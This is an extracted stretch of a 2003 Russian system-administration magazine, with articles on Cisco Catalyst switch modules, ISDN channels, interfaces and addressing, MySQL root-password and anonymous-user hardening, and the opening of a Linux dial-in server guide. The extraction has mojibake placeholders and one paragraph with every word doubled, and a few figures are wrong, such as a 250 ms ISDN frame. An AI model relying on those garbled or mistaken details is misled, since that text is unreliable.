системной информации (расширяется до 16 Мб); два разъема для дополнительной флэш-памяти. Так же имеется интегрированный датчик температуры, консольный порт и порт 10 Base T. Данная плата имеет внешний разъем для PCIMCI-карт (как правило, этот разъем используется для загрузки конфигурации с внешних носителей, таких как карты флэш-памяти); плата 10/100 Base T (16 портов); плата 100 Base FX (многомодовое оптоволокно) с шестнадцатью портами, поддерживающими полудуплексный и полнодуплексный режимы передачи, оснащенными разъемами MT-RJ. Существуют платы с 16 или 64 Кб оперативной памяти; плата 1000 Base FX с двумя гигабитными портами, оснащенными SC-разъемом (платы комплектуются оперативной памятью в размере 16 или 64 Кб); плата 1000 Base FX с восемью гигабитными портами, оснащенными SC-разъемом и оперативной памятью в размере 64 Кб).

На коммутатор может быть установлено до 2 плат процессора и до 8 плат расширения (до 4 коммутационных плат на 1 процессор). Оставшиеся 3 слота расширения используются для резервирования, что повышает надежность системы.

Следующим семейством коммутаторов является ряд Cisco Catalyst 6000, включающий семейство СС 6000 и СС 6500. Оба эти ответвления созданы в рамках единой концепции и различаются лишь спектром и плотностью предоставляемых сервисов. Аналогично обзору восьмитысячников описание ряда 6000 будет построено по такой же схеме. Сам производитель позиционирует этот ряд как основу для высокопроизводительных систем, таких как корпоративные сети с насыщенным трафиком и сети провайдеров услуг. Коммутаторы этого семейства обеспечивают интеграцию на уровне LAN/MAN/WAN, а также межуровневую коммутацию. Кроме того, представители этого модельного ряда обладают высокой наращиваемостью и позволяют обеспечить необходимое соотношение цена/ качество. Последние два качества обеспечиваются возможностью выбора шести-, девяти – и тринадцатислотовых корпусов. Так, коммутаторы семейства 6000 выпускаются с корпусами на 6 и 9 слотов, а линейка коммутаторов 6500 предлагает еще и тринадцатислотовый корпус. Все это позволяет использовать от 5 до 12 модулей расширения. В зависимости от исполнения коммутаторы будут иметь следующие названия: WS-C6006-NEB, WS-C6009-NEB, WS-C6506-NEB, WSC6509-NEB, WS-C6513-NEB для СС 6000 и СС 6500 соответственно.


администрирование В таблице отражены специфические особенности и преимущества описываемого оборудования. Еще одним положительным моментом коммутаторов этого класса является то, что все компоненты выполнены таким образом, что подлежат «горячей» замене (это позволяет вести работы по замене/добавке модулей без приостановки функционирования всего устройства, что повышает надежность всей сети и улучшает соотношение времен работоспособности и сбойности). Платы расширения, поддерживаемые комму таторами семейства СС6000. На момент написания этого материала существовал 31 тип интерфейсных плат, которые могут быть собраны в следующие группы: модули коммутации Ethernet и Fast Ethernet; модули комму тации Gigabit Ethernet; модули ATM; модуль многоуровневой коммутации; модуль сетевого анализа; модуль обработки голоса. По причине достаточно большого количества номенклатуры изделий, рассмотрим только часть из них. Первая группа включает в себя следующие платы: WS-X6024-10FLMT, WS-X6224-100FX-MT, WSX6248-RJ-45, WS-X6248-TEL/WSX6248A-TEL, WS-X6324-100FX-SM, WS-X6324-100FX-MM, WS-X6348-RJ45, WS-X6524-100FX-MM, WS-X6548RJ-21, WS-X6548-RJ-45. Ко второй группе можно отнести следующие модули: WS-X6316-GE-

№2(3), февраль 2003

TX, WS-X6408-GBIC/WS-X6408AGBIC, WS-X6416-GBIC, WS-X6416GBIC, WS-X6416-GE-MT, WS-X650110GEX4, WS-X6502-10GE, WSX6516-GBIC, WS-X6516-GE-TX, WSX6816-GBIC. Для упрощения понимания поясню значение символов и цифр в кодовых аббревиатурах. Каждое инвентарное название имеет строгий формат. Первые 2 символа определяют класс устройства. В данном случае это плата расширения. Последующие 4 цифры указывают семейство коммутаторов и количество портов. Затем указывается быстродействие портов и тип используемых коннекторов. Стоит отметить, что оба представленных в статье семейства коммутаторов относятся к третьему уровню фирменной модели Cisco. Естественно, это не означает, что устройства серий 8500 и 6000 могут быть использованы исключительно для построения ядра сети (Core layer). Они могут использоваться и на уровне доступа, и на уровне распределения (Access и Distribution layers, соответственно). Согласно идеологии компании, всякая сетевая структура может быть представлена в виде трех взаимодействующих уровней (в случае если сеть не является вырожденной, например, используются два-три коммутатора с относительно низкой производительностью и плотностью портов). Говоря об эталонной иерархической модели Cisco более подробно, можно сослаться на следующую иллюстрацию: Устройства уровня ядра (Core layer), будь то коммутаторы или мар-

шрутизаторы, предназначены для сверхскоростной переадресации пакетов и для взаимодействия с глобальными сетями, на этом уровне обеспечивается избыточное резервирование по связям, которое позволяет многократно повысить живучесть системы, перенаправляя сетевой трафик в случае сбоев в одном из физических каналов по другим линиям связи. На уровне распределения (Distribution layer) осуществляется контроль за доступом к службам верхнего уровня, тем самым повышается эффективность использования пропускной способности сети; кроме того, на этом уровне используются параметры QoS (качество обслуживания), выделяя тем самым наиболее приоритетные сетевые приложения и службы; происходит маршрутизация виртуальных ЛВС (VLAN), обеспечение секретности и разделение состояний (Area aggregation). Что касается уровня доступа (Access layer) – на нем решаются задачи создания рабочих групп, отраслевых офисов – иными словами – насыщение сети точками подключения. В последующей статье будет дано описание коммутаторов серий 5ХХХ и 4ХХХ. Помимо этого автор возьмет на себя смелость поэкспериментировать с настройками разного рода сетевых схем на базе коммутаторов и маршрутизаторов. Подобного рода попытки кажутся мне небесполезными хотя бы потому, что позволят администраторам, недавно работающим с сетями Cisco, избежать некоторых трудностей, что вполне можно считать положительным элементом всякой писательской деятельности.

19


АБСОЛЮТНО ВСЕ О ТЕХНОЛОГИИ ISDN

С момента своего появления в странах бывшего "Cоюза" технология ISDN мгновенно спровоцировала бурный интерес к себе со стороны сетевых специалистов, что в первую очередь было обусловлено распространенностью данной технологии в Европе и, конечно же, превосходными скоростными и физическими показателями.

СЕРГЕЙ РОПЧАН


администрирование ISDN (Integrated Services Digital Network) – цифровые сети с интегральными (встроенными) услугами. Эта технология относится к сетям, в которых режим коммутации каналов является основным, а данные обрабатываются в цифровой форме. Идеи перехода телефонных сетей общего пользования (ТфОП) на полностью цифровую обработку данных высказывались давно. Сначала предполагалось, что абоненты этой сети будут передавать только голосовые сообщения. Такие сети получили название IDN (Integrated Digital Network). Термин “интегрированная сеть” относился к интеграции цифровой обработки информации сетью с цифровой передачей голоса абонентом. Идея такой сети была предложена еще в 1959 году. Затем было решено, что такая сеть должна предоставлять своим абонентам не только возможность поговорить между собой, но и воспользоваться другими услугами: факсимильной связью, телексом (передача данных между двумя терминалами), видеотекстом (получение хранящихся в сети данных на свой терминал), голосовой почтой и рядом других. Предпосылка для создания такого рода сетей сложилась в середине 70-х годов. К этому времени уже широко применялись цифровые каналы Т1 для передачи цифровых данных между АТС, а первый мощный цифровой коммутатор телефонных каналов 4ESS был выпущен компанией Western Electric в 1976 году. В результате работ, проводимых по стандартизации интегральных сетей в ССITT, в 1980 году появился стандарт G.705, в котором излагались общие идеи такой сети. Конкретные спецификации сети ISDN появились в 1984 году в виде серии рекомендаций I. Этот набор спецификаций был неполным и не подходил для построения законченной сети. К тому же в некоторых случаях он допускал неоднозначность толкования или был противоречивым, то есть в целом все эти спецификации на то время были “сырыми” и требовали доработки. В результате, хотя оборудование ISDN и начало появляться с середины 80-х годов, оно часто было несовместимым, особенно если производилось в разных странах. В 1988 году рекомендации серии I были пересмотрены и приобрели более детальный и законченный вид, хотя некоторые неоднозначности сохра-

№2(3), февраль 2003

нились. Не так давно – в 1992 и 1993 годах – стандарты ISDN были еще раз пересмотрены и дополнены. Само внедрение данной технологии началось в конце 80-х годов, однако высокая технологическая сложность пользовательского интерфейса, отсутствие единых стандартов на многие жизненно важные функции, а также необходимость крупных капиталовложений для переоборудования телефонных АТС и каналов связи привели к тому, что процесс развития данной технологии затянулся на многие годы, и даже сейчас, когда прошло уже более 15 лет, распространенность сетей ISDN в нашей стране оставляет желать лучшего. Дольше всего в национальном масштабе эти сети работают в таких странах, как Германия и Франция. Если судить о тех или иных типах глобальных сетей по коммуникационному оборудованию для корпоративных сетей, то может сложиться ложное впечатление, что технология ISDN появилась где-то в 1994-95 годах, так как именно в эти годы начали появляться первые маршрутизаторы, поддерживающие технологию ISDN. Архитектура сети ISDN предусматривает несколько видов служб: некоммутируемые средства (выделенные цифровые каналы); коммутируемая телефонная сеть общего пользования; сеть передачи данных с коммутацией каналов; сеть передачи данных с коммутацией пакетов; сеть передачи данных с трансляцией кадров; средства контроля и управления работой сети. Как видно из приведенного списка, транспортные службы сетей ISDN действительно поддерживают очень широкий спектр услуг, включая популярные услуги frame relay. Кроме того, большое внимание уделено средствам контроля сети, которые позволяют маршрутизировать вызовы для установления соединения с абонентом сети, а также осуществлять мониторинг и управление сетью. Управляемость сети обеспечивается интеллектуальностью коммутаторов и конечных узлов сети, поддерживающих стек протоколов, в том числе и специальных протоколов управления.

Стандарты ISDN описывают ряд услуг прикладного уровня: факсимильную связь на скорости 64 Кбит/с, телексную связь на скорости 9600 бит/c, видеотекст на скорости 9600 бит/c и некоторые другие. На практике не все сети ISDN поддерживают все стандартные службы. Служба frame relay хотя и была разработана в рамках сети ISDN, однако реализуется, как правило, с помощью отдельной сети коммутаторов кадров, не пересекающейся с сетью коммутаторов ISDN. Базовой скоростью сети ISDN является скорость канала DS-0, то есть 64 Кбит/c. Эта скорость ориентируется на самый простой способ кодирования голоса – ИКМ, хотя дифференциальное кодирование и позволяет передавать голос с тем же качеством на скорости 32 или 16 Кбит/c.

Интерфейсы ISDN Одним из базовых принципов ISDN является предоставление пользователю стандартного интерфейса, с помощью которого пользователь может запрашивать у сети разнообразные услуги. Этот интерфейс образуется между двумя типами оборудования, устанавливаемого в помещении пользователя (CPE, Customer Premis-es Equipment): терминальным оборудованием пользователя ТЕ (хост с соответствующим адаптером, маршрутизатор или телефонный аппарат) и сетевым окончанием NT, которое представляет собой устройство, завершающее канал связи с ближайшим коммутатором ISDN. Пользовательский интерфейс основан на каналах трех типов: В – со скоростью передачи данных 64 Кбит/с; D – со скоростью передачи данных 16 или 64 Кбит/с; H – со скоростью передачи данных 384 Кбит/с (H0), 1536 Кбит/с (Н11) или 1920 Kбит/c (Н12). Рассмотрим каждый из каналов в отдельности. Каналы типа В обеспечивают передачу пользовательских данных (оцифрованного голоса, компьютерных данных или смеси голоса и данных) также и с более низкими скоростями чем 64 Кбит/с. Разделение данных осуществляется с помощью техники TDM.

21


администрирование Разделением канала В на подканалы в этом случае должно заниматься пользовательское оборудование, сеть ISDN всегда коммутирует целые каналы типа В. Каналы типа В могут соединять пользователей с помощью техники коммутации каналов друг с другом, а также образовывать так называемые “полупостоянные” (semipermanent) соединения, которые эквивалентны соединениям службы выделенных каналов. Канал типа В может также подключать пользователя к коммутатору сети Х.25. Канал типа D выполняет две основные функции. Первой и основной является передача адресной информации, на основе которой осуществляется коммутация каналов типа В в коммутаторах сети. Второй функцией является поддержание услуг низкоскоростной сети с коммутацией пакетов для пользовательских данных. Обычно эта услуга выполняется сетью в то время, когда каналы типа D свободны от выполнения основной функции. Каналы типа H предоставляют пользователям возможности высокоскоростной передачи данных. На них могут работать службы высокоскоростной передачи факсов, видеоинформации, качественного воспроизведения звука. Пользовательский интерфейс ISDN представляет собой набор каналов определенного типа с определенными скоростями. Сеть ISDN поддерживает два типа пользовательского интерфейса: начальный или основной (Basic Rate Interface, BRI) и первичный (Primary Rate Interface, PRI). BRI – начальный интерфейс предоставляет пользователю два канала по 64 Кбит/c для передачи данных (каналы типа В) и один канал с пропускной способностью 16 Кбит/с для передачи управляющей информации (канал типа D). Все каналы работают в полнодуплексном режиме. В результате суммарная скорость интерфейса BRI для пользовательских данных составляет 144 Кбит/с по каждому направлению, а с учетом служебной информации – 192 Kбит/с. Различные каналы пользовательского интерфейса разделяют один и тот же физический двухпроводной кабель по технологии TDM, то есть являются логическими ка-

22

налами, а не физическими. Данные по интерфейсу BRI передаются кадрами, состоящими из 48 бит. Каждый кадр содержит по 2 байта каждого из каналов В, а также 4 бита канала D. Передача кадра длится 250 мс, что обеспечивает скорость данных 64 Кбит/с для каналов В и 16 Кбит/с для канала D. Кроме бит данных кадр содержит служебные биты для обеспечения синхронизации кадров, а также обеспечения нулевой постоянной составляющей электрического сигнала. Интерфейс BRI может поддерживать не только схему 2B+D, но и B+D и просто D (когда пользователь отправляет в сеть только пакетизированные данные). Начальный интерфейс стандартизирован в рекомендации I.430. Первичный интерфейс PRI предназначен для пользователей с повышенными требованиями к пропускной способности сети. Интерфейс PRI поддерживает либо схему 30B+D, либо схему 23+D. В обеих схемах канал D обеспечивает скорость 64 Кбит/с. Первый вариант предназначен для Европы, второй – для Северной Америки и Японии. Возможны варианты приведения интерфейса PRI с меньшим количеством каналов типа В, например, 20B+D. Каналы типа В могут объединяться в один логический высокоскоростной канал с общей скоростью до 1920 Кбит/с. При установке у пользователя нескольких интерфейсов PRI все они могут иметь один канал типа D, при этом количество каналов В в этом интерфейсе, который не имеет канала D, может увеличиться до 24 или 31. Первичный интерфейс может быть основан на каналах типа Н. При этом общая пропускная способность интерфейса все равно не должна превышать 2,048 или 1,544 Мбит/с. Для каналов Н0 возможны интерфейсы 3Н0+D – американский вариант и 5H0+D – европейский. Для каналов H1 возможен интерфейс, состоящий только из одного канала H11 (1,536 Мбит/с) для американского варианта или одного канала H12 (1920 Мбит/c) и одного канала D для европейского варианта. Кадры интерфейса PRI имеют структуру кадров DS–1 для каналов Т1 и Е1. Данный интерфейс стандартизирован в рекомендации I.431.

Пользовательское оборудование в сети ISDN Подключение пользовательского оборудования к сети ISDN осуществляется со схемой подключения, разработанной ССITT. Оборудование делится на функциональные группы, и в зависимости от группы различается несколько справочных точек (reference points) соединения разных групп оборудования между собой. Устройства функциональной группы NT1 (Network Termination 1) образуют цифровое абонентское окончание (Digital Subscriber Line, DSL) на кабеле, соединяющем пользовательское оборудование с сетью ISDN. Фактически NT1 представляет собой устройство CSU, которое работает на физическом уровне и образует дуплексный канал с соответствующим устройством CSU, установленным на территории оператора сети ISDN. Справочная точка U соответствует точке подключения устройства NT1 к сети. Устройство NT1 может принадлежать оператору сети, а может и принадлежать пользователю. В Европе принято считать устройство NT1 частью оборудования сети, поэтому пользовательское оборудование выпускается без встроенного устройства NT1. Если пользователь подключен через интерфейс BRI, то цифровое абонентское окончание выполнено по двухпроводной схеме. Для организации дуплексного режима используется технология одновременной выдачи передатчиками потенциального кода 2B1Q с эхо-подавлением и вычитанием своего сигнала из суммарного. Максимальная длина абонентского окончания в этом случае составляет 5,5 км. При использовании интерфейса PRI цифровое абонентское окончание выполняется по схеме канала T1 или Е1, то есть является четырехпроводным с максимальной длиной около 1800 м. Устройства функциональной группы NT2 (Network Termination 2) представляют собой устройства канального или сетевого уровня, которые выполняют функции концентрации пользовательских интерфейсов и их мультиплексирование. Например, к этому типу оборудования относятся: офисная АТС, коммутирующая несколько интерфейсов BRI, маршрутизатор, работающий в режиме коммутации пакетов (например, по каналу D), простой мультиплек-


администрирование сор TDM, который мультиплексирует несколько низкоскоростных каналов в один канал типа В. Точка подключения оборудования типа NT2 к устройству NT1 называется справочной точкой типа Т. Наличие этого оборудования не является обязательным в отличие от NT1. Устройства функциональной группы TE1 (Terminal Equipment 1) относятся к устройствам, которые поддерживают интерфейс пользователя BRI или PRI. Справочная точка S соответствует точке подключения отдельного терминального оборудования, поддерживающего один из интерфейсов пользователя ISDN. Таким оборудованием может быть телефон или факс-аппарат. Так как оборудование типа NT2 может отсутствовать, то справочные точки S и T объединяются и обозначаются как S/T. Устройства функциональной группы ТЕ2 (Terminail Equipment 2) представляют собой устройства, которые не поддерживают интерфейс BRI или PRI. Таким устройством может быть компьютер, маршрутизатор с последовательными интерфейсами, не относящимися к ISDN, например, RS-232C, Х.21, V.34. Для подключения такого устройства к сети ISDN необходимо использовать терминальный адаптер (Terminal Adapter, TA), который выпускается в формате сетевых адаптеров как встраиваемая карта. Физический интерфейс в точке S/T представляет собой четырехпроводную линию. Так как кабель между устройствами ТЕ1 или ТА и сетевым окончанием NT1 или NT2 обычно имеет небольшую длину, то разработчики стандартов ISDN решили не усложнять оборудование, так как организация дуплексного режима на четырехпроводной линии намного легче, чем на двухпроводной. Для интерфейса BRI в качестве метода кодирования выбран биполярный AMI, причем логическая единица кодируется нулевым потенциалом, а логический ноль – чередованием потенциалов противоположной полярности. Для интерфейса PRI используются другие коды: те же, что и для интерфейсов T1 и Е1, то есть соответственно B8ZS и HDB3. Физическая длина интерфейса PRI колеблется от 100 м до 1000 м – в зависимости от схемы подключения устройств.

№2(3), февраль 2003

Дело в том, что при небольшом количестве терминалов (ТЕ1 или ТЕ2+ТА) разрешается не использовать местную офисную АТС, а подключать до 8 устройств к одному устройству типа NT1 (или NT2 без коммутационных возможностей) с помощью схемы монтажного ИЛИ. При подключении одного устройства ТЕ (через терминальные резисторы R, согласующие параметры линии) к сетевому окончанию NT длина кабеля может достигать 1000 м. При подключении нескольких устройств к пассивному кабелю максимальная длина сокращается до 100-200 м. Правда, если эти устройства сосредоточены на дальнем конце кабеля (менее 50 м), то длина кабеля может быть увеличена до 500 м. И наконец, существуют специальные многопортовые устройства NT1, которые обеспечивают звездообразное подключение до 8 устройств. При этом длина кабеля увеличивается до 1000 м.

Адресация в ISDN Технология ISDN разрабатывалась как основа всемирной телекоммуникационной сети, позволяющей связывать как телефонных абонентов, так и абонентов других глобальных сетей – компьютерных, телексных. Поэтому при разработке схемы адресации узлов ISDN необходимо было: во-первых, сделать эту схему достаточно емкой для всемирной адресации; во-вторых, совместимой со схемами адресации других сетей, чтобы их абоненты в случае соединения своих сетей через сеть ISDN могли бы пользоваться привычными форматами адресов. Разработчики стека TCP/IP пошли по пути внедрения собственной схемы адресации, независимой от систем адресации объединяемых сетей. Разработчики технологии ISDN пошли по другому пути: они решили добиться использования в адресе ISDN адресов объединяемых сетей. Основное назначение ISDN – это передача телефонного трафика. Поэтому за основу адреса ISDN был взят формат международного телефонного плана номеров, описанный в стандарте ITU-T E.163. Однако этот формат был расширен для поддержки

большего числа абонентов и для использования в нем адреса других сетей, например Х.25. Cтандарт адресации в сетях ISDN получил номер E.164. Формат Е.163 предусматривает до 12 десятичных цифр в номере, а формат адреса ISDN в стандарте Е.164 расширен до 55 десятичных цифр. В сетях ISDN различают номер абонента и адрес абонента. Номер абонента соответствует точке Т подключения всего пользовательского оборудования в сети. Например, вся офисная АТС может идентифицироваться одним номером ISDN. Номер ISDN состоит из 15 десятичных цифр и делится, как и телефонный номер, по стандарту Е.163: поле “Код страны” (от 1 до 3 цифр), поле “Код города” и поле “Номер абонента”. Адрес ISDN включает номер и 40 цифр подадреса, который используется для нумерации терминальных устройств за пользовательским интерфейсом, то есть подключенных к точке S. Например, если на предприятии имеется офисная АТС, то ей можно присвоить один номер, например, 7-044-565-65-00, а для вызова абонента имеющего адрес 235, внешний абонент должен набрать номер 7-044-565-65-00-235. При вызове абонентов из сети, не относящейся к ISDN, их адрес может непосредственно заменять адрес ISDN. Например, адрес абонента сети Х.25, в которой используется система адресации по стандарту Х.121, ему должно предшествовать поле префикса, в которое помещается код стандарта адресации, в данном случае стандарта Х.121. Коммутаторы сети ISDN могут обработать этот адрес корректно и установить связь с нужным абонентом сети Х.25 через сеть ISDN, коммутируя канал типа В с коммутатором Х.25, либо передавая данные по каналу типа D в режиме коммутации пакетов. Префикс описывается стандартом ISO 7498. Стандарт ISO 7498 определяет достаточно сложный формат адреса, причем основной схемой адресации являются первые два поля. Поле AFI (Athority and Formay Identifier) задает значения всех остальных полей адреса и формат этих полей. Значением поля AFI является один из 6 типов поддоменов глобального домена адресации: четыре типа доменов соответству-

23


администрирование

ют четырем типам публичных телекоммуникационных сетей: сетей с коммутацией пакетов, телексных сетей, публичных телефонных сетей и сетей ISDN; пятый тип домена – это географический домен, который назначается каждой стране; шестой тип домена – это домен организационного типа, в который входят международные организации, например ООН и НАТО.

За полем AFI идет поле IDI (Initial Domain Identifier) – поле начального идентификатора домена, а за ним располагается дополнительное поле DSP (Domain SpecificPart), которое может нести дополнительные цифры номера абонента, если разрядности поля INI не хватает. Еще одним способом вызова абонентов из других сетей является указание в адресе ISDN двух адресов: адреса ISDN пограничного устройства, например, соединяющего сеть ISDN с сетью Х.25, и адреса узла в сети Х.25. Адреса должны разделяться специальным разделителем. Два адреса используются за два этапа: сначала сеть ISDN устанавливает соединение типа коммутируемого канала с пограничным устройством, присоединенным к сети ISDN, а затем передает ему вторую часть адреса, чтобы это устройство осуществило соединение с требуемым абонентом.

Стек протоколов и структура ISDN В сети ISDN существуют два стека протоколов: стек каналов типа D и стек каналов типа В. Каналы типа D образуют достаточно традиционную сеть с коммутацией пакетов. Прообразом этой сети послужила технология сетей Х.25. Для сети каналов D определены три уровня протоколов: физический протокол определяется стандартом I.430/431, канальный протокол LAP-D определяется стандартом Q.921, а на сетевом уровне может использоваться протокол Q.931, с помощью которого выполняется маршрутизация вызова абонента службы с коммутацией каналов, или же протокол Х.25 – в этом случае в кадры протокола LAP-D вкладываются пакеты Х.25, и коммутаторы ISDN выполняют роль коммутаторов Х.25.

24

Сеть каналов типа D внутри сети ISDN служит транспортным уровнем для так называемой системы сигнализации номер 7 (Signal System Number 7, SS7). Система SS7 была разработана для целей внутреннего мониторинга и управления коммутаторами телефонной сети общего назначения. Эта система применяется и в сети ISDN. Служба SS7 относится к прикладному уровню модели OSI. Конечному пользователю ее услуги недоступны, так как сообщениями SS7 коммутаторы сети обмениваются только между собой. Каналы типа В образуют сеть с коммутацией цифровых каналов. В терминах модели OSI на каналах типа В в коммутаторах сети ISDN определен только протокол физического уровня – протокол I.430/431. Коммутация каналов типа В происходит по указаниям, полученным по каналам D. Когда пакеты протокола Q.931 маршрутизируются коммутатором, то при этом происходит одновременная коммутация очередной части составного канала от исходного абонента к конечному. Протокол LAP-D принадлежит семейству HDLC и обладает всеми родовыми чертами этого семейства, но отличается некоторыми особенностями. Адрес кадра LAP-D состоит из двух байт: один байт определяет код службы, а второй используется для адресации одного из терминалов, если у пользователя к сетевому окончанию NT1 подключено несколько терминалов. Терминальное устройство может поддерживать разные службы: службу установления соединения по протоколу Q.931, службу коммутации пакетов Х.25, службу мониторинга сети и т. п. Протокол LAP-D обеспечивает два режима работы: с установлением соединения (единственный режим работы протокола LLC2) и без установления соединения. Последний режим используется для управления и мониторинга сети. Протокол Q.931 переносит в своих пакетах адрес ISDN вызываемого абонента, на основании которого и происходит настройка коммутаторов на поддержку составного канала типа В.

Использование служб ISDN в корпоративных сетях Несмотря на большие отличия от аналоговых телефонных сетей, сети ISDN

сегодня используются в основном так же, как аналоговые телефонные сети, то есть как сети с коммутацией каналов, но только более скоростные. Интерфейс BRI дает возможность установить дуплексный режим обмена со скоростью 128 Кбит/с (логическое объединение двух каналов типа В), а интерфейс PRI – 2,048 Мбит/c. Кроме того, качество цифровых каналов гораздо выше аналоговых, а это значит, что процент искаженных кадров будет гораздо ниже, полезная скорость обмена данными существенно выше. Обычно интерфейс BRI используется в коммуникационном оборудовании для подключения отдельных компьютеров или небольших локальных сетей, а интерфейс PRI – в маршрутизаторах, рассчитаных на сети средних размеров. Что же касается объединения компьютерных сетей для поддержки службы с коммутацией пакетов, то здесь сети ISDN предоставляют не очень большие возможности. На каналах типа В режим коммутации пакетов поддерживается следующим образом: либо с помощью постоянного соединения с коммутатором сети Х.25, либо с помощью коммутируемого соединения с этим же коммутатором. То есть каналы типа В в сетях ISDN являются только транзитными для доступа к “настоящей” сети Х.25. Собственно, это сводится к первому случаю использования сети ISDN – только как сети с коммутацией каналов.

Выводы Сети ISDN не рассматриваются разработчиками корпоративных сетей как хорошее средство для создания магистральных сетей. Основная причина – отсутствие скоростной службы коммутации пакетов и невысокие скорости каналов, предоставляемые конечным пользователям. Для целей же подключения мобильных и домашних пользователей, небольших филиалов и образования резервных каналов связи сети ISDN сейчас используются очень широко. Производители коммуникационного оборудования выпускают широкий спектр продуктов для подключения локальных сетей к ISDN: терминальные адаптеры, удаленные мосты и офисные маршрутизаторы невысокой стоимости.


FAQ MySQL Конфигурация MySQL «по умолчанию» При запуске MySQL «читает» настройки из файла конфигурации. Под Unix это могут быть файлы: /etc/my.cnf; DATADIR/my.cnf; defaults-extra-file; ~/.my.cnf. DATADIR – директория данных MySQL (обычно это /usr/local/mysql/data при установке из бинарников или /usr/ local/var при установке из исходников). Под Windows (начиная с версии 3.22): windows-system-directory\my.ini; C:\my.cnf. В этом файле в том числе прописывается пользователь root. ВНИМАНИЕ! По умолчанию пароль для root НЕ установлен! УСТАНОВИТЕ ЕГО! ... user=root password=âàø_íîâûé_ïàðîëü

Так как под Windows отсутствует механизм регулирования того, откуда и куда можно устанавливать соединения, ваш MySQL оказывается открыт всему миру! Эту ситуацию следует изменить (через установку и настройку firewall, встроенным фильтратором пакетов на сетевой карте или иным способом)!

Установка пароля для пользователя root в MySQL Так как установка MySQL по умолчанию производится максимально открытой, первое, что вы должны сделать, – определять пароль для пользователя root в MySQL. Вы можете сделать это следующим образом: shell> mysql -u root mysql mysql> SET PASSWORD FOR root@localhost=PASSWORD('new_password');

Если вы достаточно уверены в своих действиях, вы можете непосредственно манипулировать таблицами привилегий: shell> mysql -u root mysql mysql> UPDATE user SET Password=PASSWORD(“new_password”)

№2(3), февраль 2003

WHERE user=’root’; mysql> FLUSH PRIVILEGES;

Другой путь устанавливать пароль – использование команды mysqladmin: shell> mysqladmin -u root password new_password

Как только пароль для пользователя root будет установлен, вы должны использовать этот пароль при подключении к MySQL-серверу от имени root! Изменять пароль для других пользователей могут только пользователи с правом доступа для записи и обновления к базе данных mysql. Все «нормальные» пользователи (т.е. не являющиеся анонимными) могут только изменить свой собственный пароль с помощью описанных выше команд или с помощью команды: mysql> SET PASSWORD=PASSWORD('new password');

Имейте в виду, что если вы корректируете пароль непосредственно в таблице user, вы должны дать серверу команду перечитать таблицы привилегий: mysql> FLUSH PRIVILEGES;

– в противном случае изменений не произойдет!

Первичная настройка привилегий в MySQL под Windows Так как установка MySQL по умолчанию производится максимально открытой, первое, что вы должны сделать – определять пароль для пользователя root и удалить анонимного пользователя в MySQL. Вы можете сделать это следующим образом: ïóòü_ê_äèðåêòîðèè_MySQL\bin> mysql mysql mysql> DELETE FROM user WHERE Host='localhost' AND User=''; mysql> QUIT ïóòü_ê_äèðåêòîðèè_MySQL\bin>mysqladmin reload ïóòü_ê_äèðåêòîðèè_MySQL\bin>mysqladmin -u root password your_password

ïóòü_ê_äèðåêòîðèè_MySQL\bin>mysqladmin --user=root --password=your_password shutdown

ВНИМАНИЕ! Рекомендую также удалить всех анонимных пользователей и пользователей с неустановленным паролем! Дело в том, что по умолчанию при установке создается НЕ ТОЛЬКО root и анонимный пользователь для localhost! Host ---... % %

User ----

Password --------

...

root

Значение % в столбце Host означает «любой» – вам это надо? Думаю, нет, так что: ïóòü_ê_äèðåêòîðèè_MySQL\bin> mysql uroot -pyour_password mysql mysql> DELETE FROM user WHERE User=''; mysql> DELETE FROM user WHERE Password=''; mysql> QUIT ïóòü_ê_äèðåêòîðèè_MySQL\bin> mysqladmin -uroot -pyour_password reload

Создание баз данных и доступ к ним для отдельных проектов Вообще работать из-под пользователя root – «дурной тон» и крайне небезопасное дело. Поэтому рекомендую создавать отдельную базу данных и отдельного пользователя для каждого рабочего проекта. Операция это несложная, делать это нужно из-под пользователя root: mysql> CREATE DATABASE mydatabase_name; mysql> GRANT ALL PRIVILEGES ON mydatabase_name.* TO user_name@host_name IDENTIFIED BY 'password';

где: user_name – имя пользователя; host_name – хост, с которого будет производиться соединение (может быть, localhost); password – пароль, с которым будет производится соединение.

После того как вы установили пароль для пользователя root, вы должны использовать его при обращении к серверу, как root. Например:

25


администрирование

КАК ПИНГВИН ГОВОРИТ ПО ТЕЛЕФОНУ, ИЛИ НАСТРОЙКА DIALIN-СЕРВЕРА ДЛЯ ДОСТУПА В ИНТЕРНЕТ И АВАРИЙНОЙ КОНСОЛИ АНДРЕЙ МОЗГОВОЙ ОО том, том, как как настроить настроить вв Linux Linux модемное модемное соединение, соединение, уже уже написано написано большое большое количество количество статей. статей. Но Но согласитесь, согласитесь, что что когда когда приходится приходится настраивать настраивать какой-нибудь какой-нибудь модем, модем, будь будь то то входящее входящее или или исходящее исходящее соединение, соединение, все все равно равно приходится приходится открывать открывать пару-тройку пару-тройку документаций, документаций, чтобы чтобы разобраться разобраться во во всем всем практически практически сс самого самого начала. начала. После После прочтения прочтения этой этой статьи статьи ситуация ситуация не не изменится. изменится. Настоящая Настоящая статья статья не не претендует претендует на на оригинальное оригинальное решение решение поставленной поставленной задачи, задачи, но но это это практически практически готовое готовое решение решение по по настройке настройке dialin-сервера. dialin-сервера. 26


администрирование «Аварийная консоль» – название завораживающее, но в мире реальности это всего лишь консоль, в которую можно попасть благодаря тому же модемному соединению. Кстати, она (консоль) становится действительно аварийной, когда доступ к вашему любимому серверу по каким-либо причинам невозможен через сеть, а вам срочно надо что-то поправить или проверить. Один только пример удаленного администрирования чего стоит... Я имею в виду небольшую сеть без «подступа» в Интернет.

Доступ в Интернет Выражение «доступ в Интернет» в этой статье представляется так: пользователь ввел номер телефона, логин и пароль, нажал кнопку “OK”, послушал веселую трель модема и попал (по-настоящему попал) во всемирную паутину байтов, проводов, серверов, а главное – информации. Кстати, главный девиз настоящих хакеров – не тех, что читают от корки до корки журнал «Хакер», и даже не тех, которым удалось-таки стащить пароли других пользователей, воплощая в жизнь советы журнала. Судите сами, ведь не так давно прошла новость, что пара таких кулхацкеров получила срок. На что надеялись? Думали, что на их АТС нет определителя номера! Кхм, кхм... Вернемся к нашим баранам, главный девиз настоящих хакеров: «Информация должна быть свободной». Можете сами в этом убедиться, прочитав замечательный перевод книги «Hackers, heroes of computer revolution», доступный в Интернете по адресу http:// cooler.irk.ru/hackers/. И если вам не хочется платить за качественный Интернет по модему, вы можете настроить dialin-сервер в вашем офисе. Пусть не такой быстрый, но бесплатный. Почему не такой быстрый? Все просто. Даже если на вашем модеме красуется надпись “56k”, это не значит, что модем полностью использует эту скорость. Дело в том, что 56k модем (стандартный модем типа «Курьер») может только принимать, но никак не посылать. 